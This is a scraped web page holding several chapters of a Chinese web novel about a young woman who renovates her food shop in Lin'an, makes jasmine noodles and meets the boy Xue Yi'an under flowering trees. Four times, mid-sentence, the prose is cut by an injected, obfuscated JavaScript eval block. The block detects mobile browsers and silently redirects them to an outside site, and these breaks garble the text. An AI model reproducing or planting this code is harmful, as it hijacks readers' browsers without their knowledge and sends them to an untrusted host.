满满愣了愣，自己想要印个模子也很久了，但最近实在是很忙，况且也不知哪里有可靠的手艺人，她看了看薛以安微红的脸，笑道：“那感情好，劳烦小官人了，改日小官人来我这铺子，我请客如何？” 薛以安忙道：“举手之劳，小娘子不必介怀，我先告辞了。” 阿牛也笑嘻嘻得接过篮子，眼睛直溜溜地看着点心，朝满满挥了挥手。 * 辰时过后没一会，满满的东西便卖完了，今日拢共赚了十贯钱，满满已经很满意了。正推着板车往回走，却见御街上一家名叫“王厨”的脚店酒楼前围满了人。满满凑过去，找了一个旁边凑热闹的大娘，问道： “大娘，这是怎么了？” 大娘回过头，见是一个玉雪可爱的小娘子，悄声道：“这店当家的犯了事，欠了官家的银子，酒楼也开不下去了，现在还欠着不少货款呢。不过，按照从前，纵然是官中派人来查封，这趟水哪里这么简单？就说里边的样样装潢，也是可以小赚一笔的。” 满满一听，来了兴趣，悄声问道：“大娘，这酒楼里的东西当真还可变卖？” 大娘见她感兴趣，朝她挤了挤眼睛：“那当然了，现在整个宅子都抵卖给了官中，官中要卖，谁敢抵赖？谁敢不从？” 满满从荷包里掏出三十文钱，塞给大娘：“大娘，我最近正愁铺子里桌子椅子不够的事呢，麻烦您帮我疏通疏通？” 大娘颠了颠手里银钱，拉着满满绕过巷子，从后门进去。只见后门处有一个穿黑衣的厢军守着。 大娘上前，对男子笑道："王爷，这小娘子想添置些桌子椅子，有不少本钱，人也是个大方的，道上的规矩也晓得，您看......" 男子面色一变，朝大娘做嘘声状，摇了摇头，尚未开口，只听楼里传来一道沉沉的男声： “哦？既然想做生意，那便带进来，和本官谈。” 男子面上浮现苦色：“唉，提举大人来了......” 大娘一听，连忙放开满满，几步跑开。楼里出来几个厢军，一前一后围住满满，为首的一名道：“小娘子，我家官人请您进去。” 满满一听，方才反应过来，自己当真是贪了小便宜吃了大亏！不过好歹是宫里出来的人，也算见过点大风大浪，勉强笑道： “厢爷，有话好说，一定是有什么误会。” “有什么误会，小娘子进去和我家大人谈谈吧。” 说完，又冲那位被称作“王爷”的厢军怒了怒嘴：“你也请吧。” “王爷”讪笑道：“这就去。”整个人却冷汗涔涔，提举大人的手段，小娘子不察，他却是清楚的，少说倾家荡产，若是不讨巧，送进去关几年也是有的。 满满一步步走进去，心里却万分复杂。这京城能有几个提举大人？一想到曾经赏识自己的人，如今却在这样的乌龙上相见，她起了不好的心思，不过却并未犯事。倒是不担心被如何责罚，不过一想到即将面对的人，心里竟然隐隐约约的有些奇异的羞愧。 晁素臣坐在“王厨”一楼明间中央的罗汉椅上，旁边排开两列人，在他旁边的椅子上，是一个须发微白的中年人，做商贾打扮，垂眉顺眼地候在一旁。 他懒懒抬起眼，在见到来人时，目光如同被烫到一般轻轻颤动了一下，半晌，抢在满满之前开口，轻声笑了：“原来是你，我道是何人，在我眼皮子底下，也敢如此胆大包天。” 满满已经收敛那分不该有的情绪，把晁素臣当成了寻常的官老爷，娴熟地讪笑道：“官人，小女初来乍到，只听人说这铺子里拍卖家具，并不知旁的。若是知道这一层，纵然给我一百个胆子，我也不敢踏进这铺子一步啊。” 满满说完，恭敬地垂下头，而一双灵动的眼睛，却提溜地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234607|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量着“王厨”，三层高的楼阁，装潢之华美，说是雕梁画栋也不为过。 正在这时，晁素臣轻轻咳了一声，满满心里一惊，连忙看向他，只见一双沉沉的眼晦涩不明地望过来，轻笑道：“当真不敢？” 满满做足一副毕恭毕敬地样子：“那是自然，小女子不过小本生意，全仰仗天子圣明，官人垂怜，在小巷子里谋生罢了，怎敢做逾矩之事。” 一阵沉默，满满又悄悄抬起眼打量晁素臣，她低着头，看不清他的神色，只隐约看到，大堂中光线昏暗，他身后几盏烛火摇曳，她一错眼，猛地被他鬓间几缕白发晃了神。 “本官送你的牡丹，可是不喜？为何不簪？” 满满愣了愣，竟然不知该如何回答，最终红着脸，憋出了一句：“我想到了一道菜，只差一味牡丹，牡丹金贵，我买不起，便不舍得簪。” 晁素臣笑了笑，转过头朝一旁人道：“这是食店行行首，现下这整栋宅子都是姚行老的，小娘子若是想买，还得问过姚行老。” 行老混迹行业多少年，在官商之间都是说得上话，有脸面的大人物，自然也不是简单人物，方才晁素臣对满满的态度，又怎么会品不出几分言外之意？连忙笑道： “这宅子里的一应装潢都是废弃了的，小娘子若是看中了，便直接带走便是。” 满满到了这一步，方才觉得不安起来。这世上最贵的便是免费的东西，晁素臣帮她是图什么？这姚行老帮她又是图什么？她看不破，也不敢想，只知道若是欠了旁人的，今日若是捞了便宜，他日便不知道要用什么来偿还。 满满连忙摇头道：“小女子谢过两位大人，我本也是个俗人，想着凑个热闹，这楼里样样贵重，哪是我那地方配的上的，怕是要辜负行老的好意了。” 姚行老摸了摸胡子，眼睛里精光一转，这小娘子倒是一个机灵人：“小娘子若是不放心，我卖给你便是。我是商人，和晁大人这样的清流不同，这楼里一应东西，若是砸在手里，也是亏了，不如低价卖出去，岂不是各取所需，两全其美？” 话都说到这份上，满满还有什么不明白？行老这样的人物，就算是要卖，又怎么会在意她这三瓜两枣？不过是逼她买下，好借她承晁素臣一个人情。而晁素臣，对她......她能还得起他什么呢？她不敢多想，既然不敢落了行老的面子，自己索性也朝好的一面想，，见好就收，笑道： “既然姚行老盛情难却，小女子就斗胆挑几样。” 满满既然决定迈出这一步，已经是退无可退，便索性放开了手脚，他们愿意帮便帮，她若是还不起这一份人情，也是他们看错了人，她又何须囿于其中？大不了走一步看一步，船到桥头自然直。 满满在“王厨”里转了几圈，雅间中挑了五张用料朴素，却又颇有雅趣的桌子，依旧是形状各不相同，甚至是奇形怪状，不过，倒是正符合她的小铺子格调。 12. 重修铺面 满满选好了桌子，在“王厨”转悠的这一会功夫，她心里唯一的感觉，其实是——嫉妒。她捏捏拳头，有朝一日，她也会有一家这么大的酒楼。 晁素臣斜眼看着满满，不由轻笑：“选好了？姚行老，开个价吧。” 姚行老摸了摸胡子：“一张桌子便算你五百文，总共两千五百文。” 满满暗衬，若是在二手市场上，这等品相的桌子，少说也得五百文，不过很难淘到罢了，这个价格算来也算公道，便笑道：“好，成交。” 满满付了钱，晁素臣挑了挑眉，问道：“可需我找人帮你运回去？” 满满连忙道：“官人客气了，不需要不需要，我找几个闲汉，一把手的事。” 几个厢军帮满满把桌子搬到楼外，再次回到酒楼里，只见“王爷”瑟瑟发抖地站着，面前的提举大人冷冷射过来一道目光： “自己交代？” 站在一旁的厢军们不敢说话，但心中都默默摇头，始终是命数不同啊，这位“王爷”只能自求多福了。 * 满满雇了几个闲汉，几人把桌子运回铺子里。兰嫂子远远看着女儿回来，迎上来问道： “哟，这是又要装潢一番了？” "阿娘，咱这食肆再不翻新，客人怕是要别的食肆抢光啦！" 满满叉着腰站在自家两层木楼前，她望着门楣上挂着的“小宫娥四时食肆”的牌子，乌溜溜的眼珠转得飞快。今日客人源源不断，可都因为桌子椅子太少，走了不少人，扩建是迫在眉睫，至少二楼得好好装起来。 方才在“王厨”里见了一番世面，更坚定了她要大改特改的决心。 满满进门，给几个闲汉各奉上一杯茶，又拿了几个饼子：“多谢几位大哥，以后有空常来铺子里坐坐！”几人喝了茶，吃了饼，心里舒舒爽爽，都赞这小娘子有气度，方才顺耳一听，便插嘴道： “小娘子要重新装潢铺子吗？我倒是有个老实人推荐。” * "小娘子要造园子？"瓦工赵师傅伸头看图纸，被那曲里拐弯的线条晃得眼晕。 满满狡黠一笑，掏出包着芝麻糖的油纸塞过去："您老只管按图砌墙，工钱嘛——"她指指后院堆着的旧青砖，"这些拆下来的砖块，您拉走半车抵三成工钱可好？" 吃过午饭，招待完这批客人，食肆便临时歇业了。 满满抱着一沓澄心堂纸，趴在褪了漆的八仙桌上冥思苦想一个时辰，最终画出了此刻赵师傅手上的草图。 赵师傅一面看，满满一面说： "一楼撤掉挡道的柜台，用竹帘隔出三进——前厅摆六张榆木方桌给散客，中庭架流水曲觞景，后院开天井种梅竹......" 赵师傅皱了皱眉：“小娘子急着开业，虽说是搬搬石头，凿个窗户的事，可这工程也马虎不得，少不得要请几个人来帮忙的，这价钱嘛，少不得十贯钱，后日便能完工。” 满满笑道：“您若是收拾的我满意了，十贯钱没问题，外加包吃食！” 二人说定，赵师傅办事靠谱，石头木材全不需要满满操心，不过半日功夫，一楼用青砖铺过，墙面又用白灰泥刷过一道。后院也利用起来，用鹅卵石铺成小径，又在院中挖了浅池，池上架木拱桥，池畔置太湖石与矮松；角落设茅草顶凉亭，内置石棋盘。 这后院可是满满此次改造的一大重点，她早就盘算好，雨天可作茶室，晴夜可办“流觞诗会”，岂不快哉？ 趁这个功夫，满满揣着钱袋钻进望仙桥旧货市。 她先盯上卖竹器的胡老汉，摸了摸青篾编的灯笼："老伯，这二十盏灯笼我全要了，不过您得搭送三捆细竹条。" 见老汉犹豫摇头，她挑了挑眉笑道："老伯，我家里开食肆的，来往都是达官贵人，前些日子，还有官人问我这店里的字画何处买的，您就卖给我吧，我还可以替您宣传宣传呢。” 老伯揣摩片刻，倒也没有亏多少，索性让利几分，点头同意。 转到木料摊时，满满却盯住块带着蛀眼的旧船木，心头有了主意。 卖货的壮汉嗤笑："小娘子要买柴火？" 她也不恼，掏出铜镜照那木纹："大哥，您瞧这纹路像不像云头？截三段当柜台，两头雕成鲤鱼跃龙门，保准让您这摊子出名！" 壮汉听得直愣，最后三丈长的船木竟被她用一贯钱加两笼蟹黄包换走。 赵师傅带着几个壮汉负责基建，满满和袁大哥挖空心思，把铺子装得更有雅趣，而兰嫂子则在后面收尾，打扫收拾，不在话下。 老船木洗洗刷刷，索性改制为门匾，袁大哥刻上一句“小楼一夜听春雨”，几个人齐力推上房沿钉住。 后院里，兰嫂子蹲在杂草堆里扒拉半天，捡出半块残破的陶缸，正犹豫要不要丢掉，满满一看，叹道： "这腌过梅子的缸底，养铜钱草正合适。" 又指挥伙计把碎瓦片、鹅卵石铺成小路，挖浅坑时竟掘出眼活泉，正好引水到浅池之中，满满再次暗道，自己当真是选对了铺子。 "这是吉兆啊！"她眼睛发亮，当即脱了绣鞋踩进泥坑，把原本要扔的太湖石斜斜架在泉眼上。 石匠一看，问道："好好一块石料怎的劈了？小娘子，你不如买一块完整的，也要不了几文钱。" 满满却摸出胭脂，在石面点点染染，挑了挑眉："这呀，叫''残雪映梅''，等苔藓长出来，比完整石头更有意趣。" 第二日，一楼的油漆已干。今日借着重新装潢，满满睡了一个懒觉，没有去摆摊。一日间，不少人来铺子里，得知铺子翻修，都表示明日一定会过来尝尝鲜。 待到醒来，一家人做了早饭吃下，袁大哥和兰嫂子听女儿发号施令，把原木方桌配上藤编坐垫一一放好，分隔的竹帘也挂上，桌角放置小竹筒，插单枝梅或兰草；墙面挂几幅袁大哥临摹的卷轴，辅以素麻布帘分隔半私密座位。零零总总，大约能坐三十人左右，用以接待散客。 袁大哥在楼梯旁放了一个方桌，满满取名为“文墨角”，提供笔墨纸砚，供客人即兴题诗，佳作可悬于“诗墙”展示，则是变相为本店宣传。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234608|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二楼雅间的布置则是为各位官人们设置，更显满满巧思。她把褪色的茜纱帐裁成四方块，绷在竹架上就成了"移步换景"屏风。连后厨淘汰的陶瓮都钻了孔，种上吊兰悬在廊下。又以竹帘、屏风隔成五间雅室，放上那日从“王厨”买来的桌子，每间以文人别号命名。 整个二楼划成六份，剩下一块位置开了窗户，窗边设卧榻式矮几，搭配蒲团，墙面则装饰手绘山水折扇，案头又放置一瓷瓶，其中插上枯枝，带有几分萧瑟的味道。 连接楼层那架吱呀作响的旧楼梯，满满也请画匠用赭石、藤黄在踏板上描出枫叶，每阶题句诗。又把竹编灯笼与纸灯，点上火光，晴日有光斑洒下，晚间则有烛火重重。 "这些诗句从下往上念，便是首《临安春雨初霁》的藏头诗！"她得意地笑道，"客官们提着衣摆找诗句，哪还顾得上嫌楼梯陡？" 到了第二日午间，基本快要完工，满满拎着食盒到瓦工队，掀开盖子是热腾腾的定胜糕："赵叔尝尝，这糖霜呀，我可是撒的''步步高升''字样。" 待众人吃得满嘴甜，她才掏出账本，狡黠笑道："您看这墙面抹灰比原说多了五寸厚......" "小娘子忒精明了！"赵师傅苦笑着摸胡子，"那便用后院的碎砖抵账吧。" 满满乐道：“不过是和您开个玩笑罢了，这两日，辛苦各位师傅了！” 小娘子处事厚道，为她办事心里也舒坦，一行人便好聚好散。 满满站在铺子前，只见两日功夫，已经焕然一新，她掰指头算了算，大约花去六十贯钱，算是把这些日子的经营都投进去了，不过这钱也不是白花，看着焕然一新的铺子，里里外外都自成一派风格，初初进去，便是整整齐齐的坐案，朴素却清雅，再往里进了小院，也有几分亭台楼阁的影子，若是雨天，雨水淅淅沥沥落在池子里，在檐下喝一壶小酒，更是文人意趣，此时登上二楼，步入雅间，移步换景，每一个小隔间都有不同的风格意趣。心里隐约浮起几分骄傲。 兰嫂子和袁大哥也走到满满身边，拍了拍她的肩膀。兰嫂子感慨道：“乖闺女，娘从村里和你进城那日，做梦也没想到，才一个月功夫不到，竟然能住上这样的大宅子。” 满满拍了拍兰嫂子：“娘，您相信我，日子会越过越好的！” 一家三口正打算收拾收拾吃晚饭，却突然听到背后传来一道清澈的人声： “请问这里是小宫娥四时食肆吗？” 满满转头一看，竟然是薛以安，他一人只身前来，连阿牛都没有带。 薛以安见到满满，连忙抬手恭敬道：“小娘子，我是前来还竹篮子的，模子我也刻好了，今日本想去小娘子摆摊的地方送还，却没遇上，此刻方来叨扰了。” 满满心里一暖，看了看天色，笑道：“多谢小官人了，天色不早了，小官人可愿进来一同用个晚饭？” 薛以安心里一跳，红着脸抬头，却看见兰嫂子眼里笑开了花，用一种奇妙的眼神来回打量着自己：“小官人，和满满认识吗？进来坐坐吧？” 13. 奈花林下逢 薛以安愣了愣，耳尖又开始泛出点点红色：“多谢盛情邀请，我就不叨扰了，还请小娘子把东西收下。” 满满接过竹篮子，只见里面停着一个木质的模子，用手摸上去，可以感受到刻的相当精致，几乎连叶子的脉络都能够摸出来，一个小小的姑娘大概是她，眉眼笑眯眯的模样，比她原来画的还要好上不少。 这样细致的模子，若是定制一个，恐怕也得好几两银子吧？ 想到这里，她连忙道：“真的不留下一起用个饭吗？小官人送我如此厚礼，实在是让我不好意思收下，要不，我付您一些银子吧？” 薛以安一听，连连摇头：“不用不用，明日我去小娘子摊子吃点心，小娘子请客便够了。我……我先走了！” 满满看他手指紧紧捏着衣角，心里只觉得有些好笑，却又暖暖的，忍不住低头笑出了声，也不再为难他： “路上慢些！我的铺子重新翻修了一遍，明天便开张了，若是有空可以来坐坐！” 薛以安点点头，认认真真服了服身子，便走开了。 他一边走，一边想着满满刚才的话和神态，小娘子的乳名叫满满吗？真好听，他听阿牛说，小娘子的爹爹在私塾里讲课，学生都叫袁先生。那小娘子也姓袁吧？圆圆满满，真是个好名字。 她方才笑的那样好看，应该很开心吧？ 他昨日回去，连先生留的课业也马虎写完，一门心思只想着答应她的模子。昨晚点着灯，几乎快熬了四个时辰才刻完，他这个人没什么优点，就是画画画的好些，字也写的还行，平日里做些小玩意，不过，一想到她用着自己做的东西，便连困意也全部驱散。 今日一早起来，便想着把东西给她送去，在那里等了许久，却不见她的身影。他只能先去上学，待到下午下了学，才一路找到铺子里，把东西交给她。 毕竟，她早一点拿到，便能少辛苦几分。 * 薛以安回到府里，刚进门，就看见薛以桓抱着双手，斜斜靠在门柱上，眼里含着几分衅意看过来: “哟，咱们小少爷这是去哪回来了？” 薛以安气恼地看他一眼，并不说话，一股脑地往前走。 “阿娘说你最近都不在家用早饭了，怎么，味道不合口？可真是越长大越讲究咯？”薛以桓几步上前，拦在他面前，挑了挑眉，坏笑:“我都听阿牛说了，明日我便也去尝一尝，看看是什么样的手艺，把我的小弟弟迷的神魂颠倒。” 薛以安无奈地叹了口气，想了想，抬头看着哥哥，道:“哥，可以……给我介绍点赚钱的活吗？画画，写字，还是干什么别的，都行！” 薛以桓愣了愣，平日家中样样吃穿用度，又怎么会短了他？竟然还让小少爷缺银子花不成？半晌，突然反应过来一般，笑了笑: “成，你等着，今晚便帮你安排。” * 一家人吃完晚饭，肚子撑得不行，正想着去哪里散散步消消食，毕竟自从来了临安，满满一直忙着忙那，竟然一直没有时间带爹娘走走逛逛，有些愧疚。 兰嫂子听说要出去，琢磨了一下，道:“我昨儿早上听吴嫂子说，城西有有一片山奈，都已经结花苞了，说不定现在已经开了，要不去转一转？” 满满一听，顿时计上心头。天气渐渐热了起来，她正琢磨着做一些新的吃食呢，竟然有奈花，一道名菜瞬间出现在她脑中——奈花索粉。 所谓奈花，其实就是白茉莉；索粉，便和米粉差不多。然而用奈花做出的索粉，一口下去，便有淡淡的花香溢出，清爽又甘甜。 “爹，娘，要不，我们去采奈花做索粉吃吧？” 二人对视一眼，只见女儿眼里光彩熠熠，也不忍拒绝，袁大哥道:“行，只是这大晚上的，能行吗？我给你们娘俩点个灯笼？” 满满摇了摇头:“从前在宫里，采买的时候都只要卯时采下的奈花呢！夜深露重，此时正正香呢。” 二人见女儿兴致勃勃，又想到一家人好容易有这样一齐出去赏花的机会，虽是夜深雾重，但也别有踏月探花的意趣嘛，便一齐出发了。 满满特意用竹子削了三把竹刀，这庖厨之道，可大有讲究，失之毫厘差之千里。从前教她的嬷嬷曾告诉她，若是用了铁刀，这奈花也会沾了“金铁之气”，味儿也就不纯了。 露水缠着城西林子不肯散，一家人挎着竹篓钻进花田，露水顺着奈花瓣往下滚，满满头顶一凉，一滴露水滴在脸上。 这花儿怪得很，白日里蔫头耷脑，偏要趁着夜色酿香。 她捏着竹片削成的花刀，轻轻旋下半开的花苞，青白花瓣蹭过虎口，凉丝丝像接了捧新雪。 快要采了半篮子的时候，满满回头一看，却已经不见爹娘的身影。她往四周转了一圈，口中唤着阿爹阿娘，却没有人应答。 夜色深沉，月光洒在一树树的奈花之上，这一片雪白便像是镀了光一般，有风吹过，光也跟着摇动起来，筛下一簇簇星星点点的光斑，分不清是落在地上的奈花，还是疏疏朗朗的月色。 “袁小娘子。” 有人唤她？ 她回过头，却见在奈树下，月色中，竟然藏了一张檀木小几，一位穿圆领白袍的小官人坐在小几后边，手里轻轻捏着笔杆，桌上铺着一张画。 她愣了愣，视线向上，只见这小公子肤色雪白，唇红而微开，眉目疏朗，鼻梁细而直，淡的如同一副写意画。直到这小官人眨了眨眼，一双如同乌墨般的瞳仁中露出一丝慌忙的躲避，她才认出来，原来一树奈花洁白下，翩翩而来的小官人，是今日前来送她模子的薛以安。 她心里漏了一拍，忙上前问:“小官人，这么晚，你在这里……画画？” 薛以安轻轻点头，心跳咚咚:“过几日有一个流水宴席赛画花，夜里的奈花最雅，我今晚便来瞧一瞧。” 满满提着篮子，上前一瞧，只见画上的奈花一簇簇栩栩如生，她不懂品鉴，只能讪笑道: “画的真好，倒像是真的一样。” 她一转身，风吹过来，篮子里的奈花几乎要倒出来，两人都慌忙去扶，却好巧不巧撞在一块，满满脚下一滑，下一刻，竟然倒在薛以安的怀里。篮子里的奈花飘飘洒洒，落在两人身上，落在桌上，落在画里。 二人心跳俱是一怔，脸颊烧的厉害，满满慌忙起来: “我……我明日要做奈花索粉，会去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240875|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老地方摆摊，你记得来尝。”愣了愣，又连忙补充，“若是有空，可以来尝一尝。” 他抿了抿唇，小声道:“一定。” “诶，那不是咱们闺女吗？”满满一惊，回过头，只见袁大哥指着满满喊道，一旁的兰嫂子则是意味深长的表情，恨铁不成钢地捂住了袁大哥的嘴。 见满满看过来，脸色通红，兰嫂子连忙上前，嘴喜气洋洋地咧开，朝满满眨了眨眼睛:“满满，你早说呀，娘能不懂你吗？你放心，你爹交给我，我们先回去了，你们继续！继续啊！” 满满连忙抓住兰嫂子的袖子:“娘！你误会了，走吧走吧，我们回去了！” 兰嫂子还想说话，却被满满瞪了一眼。满满回过头，朝薛以安服了服身子: “让您见笑了，我们先……先回去了。” 三人走后，薛以安愣愣看着案上的画，手中的笔微动，不过片刻，在一簇簇的奈花下，多了一个挎着篮子的小女郎。 * 满满回到铺子里，却还得连夜把索粉做出来。周边的摊贩都羡慕这小娘子的手艺，运气，她赚的在同等规模的食肆中是顶尖的，可是她却也着实是比旁人努力几分的。 有朝一日，她要开一家大大的酒楼。 灶间早备下粗陶瓮，底子铺着闽南来的赤砂糖，颗粒粗粝，但却甘甜醇厚。 满满把花苞按"三浮三沉"的规矩在盐水里过，手指头叫凉水激得发红。糖与花得层层叠着腌，每铺一层都要拿木尺拍三下瓮壁，听声辨量。 从前嬷嬷总说瓮响不同："闷声是糖厚了，清音才是正正好。" 米粉用的隔年晚稻，石磨盘下垫着去年晒干的荷叶。满满一边推磨，一边哼着小调，磨缝里漏下的粉簌簌扑在青石案上，不一会儿，案板上便堆了白花花的米粉。再取一些绿豆，同样研磨成粉，把米粉绿豆粉混在一块，打上一个鸡蛋，拌匀，用热水烫了烫手，手心温度揉面，直到整个面团光滑润泽。 最考人的是揉面，太软太硬都不好。满满用的是师父传的"七顺三逆"手法，说是前朝宫里嬷嬷的秘技。顺着揉七圈，又逆着揉三圈，途中不断掺入温水，这样揉出的面最是劲道，却又不会太硬。少量多次地加入奈花，掌心温度透过米粉，奈花也暖暖的，揉着揉着那青白的花瓣便融进了面团里。 梁下吊了一个铜漏，侧边密密实实打了细细的孔，专用来做粉。满满踩着松木凳上去，举起手来一下下敲着木槌。粉浆从针眼大的孔里漏下来，落进滚水便成了银丝，打着旋儿掉进青瓷碗里。灶膛火星子噼啪炸响，映得满墙都是游动的金蛇。 汤里的索粉随着烧开的水浮动，上上下下，渐渐传出诱人的香气。这索粉需要滚三次，第一次定型，第二次则增加韧性，第三次用凉水冲一冲，再重新烫一烫，索粉便充满劲道，嚼起来别有滋味。 末了要取青瓷碗，放上索粉，又浇上浇头，尝起来酸酸甜甜，清清凉凉，又别有一番奈花的清香。最后随意撒上几朵奈花，看上去也更精巧些。 这般琐碎功夫，满街叫卖索粉的，任谁家也蒸不出这般光景：银丝里缠着未化的糖花，咬下去先脆后糯，齿间留着奈花冷香，叫人回味无穷。 14. 画 第二日一早，满满带着“滴酥牡丹笑”和“奈花索粉”上御街摆摊。 新推出的“奈花索粉”要价三十文一份，所说比旁人家的贵些，但是小娘子的手艺这几日下来大家都有目共睹，倒也都愿意买单。 这小娘子卖的奈花索粉和一般的索粉不同，清清凉凉，正适合夏日的风味，嚼起来既不绵软无味，也不会太硬，难以下咽。 满满早买好了编织好的小竹碗，其中铺上一层油纸，便可以一边走一边吃。一个成本大约一文钱都不到。 摊子上，一个大缸子里装着白中带绿的索粉，旁边则是两个小盆，一个放着洗净的奈花，另一个则放着浇头。有人来买，就拿起一个小竹碗，放上一碗索粉，用浇头一淋，然后零星撒上几朵奈花，便做成了，方便快捷。 有人提议道:“小娘子，您何不备下几个食盒？若是有人想吃，但又不便来买，找个闲汉便拎着食盒送过去。” 满满一听，觉得有道理，改日便带了三四个食盒，果不其然，有路人尝了好吃，便又买了几碗，满满放在食盒里，雇了几个闲汉送到客人家中，待送到后又把食盒送了回来。 还有人提前预定:“小娘子，明日辰时，送两碗索粉，一份滴酥到雀安桥下王大发家中。” 满满拿了一个小账本，一一记下，甚至还有人直接派人送来小纸条，上面写明了何时何地，需要些什么东西。 满满一边摆摊，一边不忘宣传:“各位客官，我家铺子又翻修了一遍，重新开业，样样都新鲜着呢，午间晚间都备下了时兴的菜式，味道有保障，价格也比大酒楼便宜，各位记得来尝尝！” 不仅如此，薛以安送来的模子，她也印了试试，这样一来，不用一张一张的画，这模子还雕的很精细，印出来的画栩栩如生，不像是寻常小作坊的样式，倒像是大酒楼才有的排面。 满满去买菜的时候也不忘宣传，给去过的菜摊子各留下了一沓，并嘱咐道:“若是有客官拿着单子来我铺子里，只需报上哪里拿到的，到时候，每成交一笔，我给各位老丈大娘五文钱！” 一听有钱赚，还不需要什么成本，各位摊贩也乐见其成，愿意替她宣传。 这几日，满满早晨上御街摆摊。收摊后，便去菜市场买一些当季的菜，午间晚间便在铺子里经营。 自从铺子翻修之后，能容纳的客人大大变多。饭店走进铺子一看，只见一楼大堂里，每一张方桌旁围坐着散客；再往里走，院子里，流觞曲水，亭台楼阁，好不秀丽，亭子里，有时还有人抚琴吟诗，吃一些秀致的点心；上了二楼，也是一个个雅间，每一个小隔间风格不同，佐以不同的花草植物，有的大气端庄，有的小巧秀丽，有的花团锦簇，有的竹兰相伴。这些花都是新鲜的，满满和吴嫂子说好了，每日都买一些花供应到满满铺子里，也给满满实惠的价格。 现下就是还有三点不好。 一个就是满满本钱少，菜品不全，只能做什么吃什么。有的客人出手阔气，一顿能点十个菜，满满却只备了三五个。 第二个就是满满的食肆并不供应酒，吃饭没点酒始终差点意思。 第三个也是人手太少，基本就是满满和兰嫂子忙活。有时袁大哥也在家帮帮忙。满满把娘接进来，是想让娘享福的，如今倒是让娘忙前忙后，她心里也很愧疚，琢磨着是该找几个帮手了。 这两三个月下来，勉勉强强，也是在临安立足下来，零零总总攒下了三百两银子，是时候找些人手帮忙。 * 文人雅集，实在是本朝雅事一桩。春夏之交，正是赏花的好时节，这一日，丰乐楼承办的宴席里，一群人便正在赛画花。 一群人中，朝中重臣有之，在野文人有之，坊间戏子有之，以及仍在学中的各位青年才俊。 “王大人这牡丹画的好啊，唯有牡丹真国色，花开时节动京城，想必说的便是王大人笔下。”大家围坐在一条长木矮几之前，只见画上是一盆开的正盛的牡丹。 “常大人真是谬赞，这牡丹难免有些繁重，我前写日子听以桓说，他家中小弟听说这赛花宴，也画了一副。薛大人可是画中圣手，听闻薛小郎君是学到了薛大人的绝学，以桓，不知今日可得一见？” 薛以桓一听，连忙拱手道:“各位大人谬赞，舍弟今日拙作恐怕要让各位见笑了。” 正说着，给了薛以安一个眼神，后面便把画呈了上来。 展开一看，只见画纸上连成片的是一树树奈花，月夜下，明明是不动的画纸，却偏偏看出了动态，似乎林子里有风吹过，奈花瓣子也跟着簌簌而落，就连月光也好像在地上摇曳一般。 “当真是好画，旁人都画牡丹，桃花，偏偏你，选了这没人注意的奈花，奈花洁白雅致，意境倒是更甚一筹！” “依我看，还是景选的妙啊！偏偏是月夜，还恰好是一整片林子，虽然看不清每一朵的细节，重心并不在工笔，却偏偏写意极美，倒像是动起来一般。” 一旁的薛以桓轻轻瞥了弟弟一眼，淡笑道:“各位大人品鉴的能力是上乘的，可是眼花了，各位仔细瞧瞧，这奈花树下，怎么站着一位采奈花的小娘子啊？” 经他这么一说，各位都好奇地凑上去，果真，在奈花树下，草草几笔勾勒出一个挎着篮子的小娘子身形，看不分明五官，却只觉得飘逸纤细灵动，独独在小娘子的脸上，更是点上了两抹嫣红，更添上几分俏皮。 “这人画的倒是好，不过，哪有人深夜去采奈花？” 薛以安闻声，一字一句答道，他的声音清澈干净，叫人听上去悦耳而可信。 “在下前些日子去林子里观景画画，是的的确确遇到了这位小娘子。小娘子不是一人独来，而是父母双亲相陪。”虽然本朝民风开放，尤其是商女更少有顾忌，但还是怕坏了满满名声，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246209|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掂量片刻，字斟句酌:“小娘子曾言，夜深露重之时，奈花沾了露水，开的最盛最美，此时摘下，甘甜也被浓浓锁住，最宜入菜。” “入菜？这小娘子用这奈花做菜不成？” 